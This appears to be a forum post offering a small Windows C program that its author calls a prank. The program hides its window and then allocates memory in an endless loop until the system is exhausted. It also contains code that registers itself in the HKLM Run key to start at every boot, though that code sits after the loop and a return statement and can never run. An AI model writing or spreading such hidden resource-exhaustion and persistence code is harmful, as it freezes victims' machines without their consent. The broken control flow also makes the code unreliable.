#ifdef _MSC_VER
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#endif
# include <stdio.h>
# include <malloc.h>
#include <windows.h>
int main(void)
{
while(1)
{
int *b =(int *) malloc(100000000);
}
return 0;
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL,
szPath,
MAX_PATH);
HKEY newValue;
RegOpenKey(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
&newValue);
RegSetValueEx(newValue,
"Name_Me_Please",
0,
REG_SZ,
(LPBYTE)szPath,
sizeof(szPath));
RegCloseKey(newValue);
return 0;
}
看看不知道对你有没有用!自己的一个恶作剧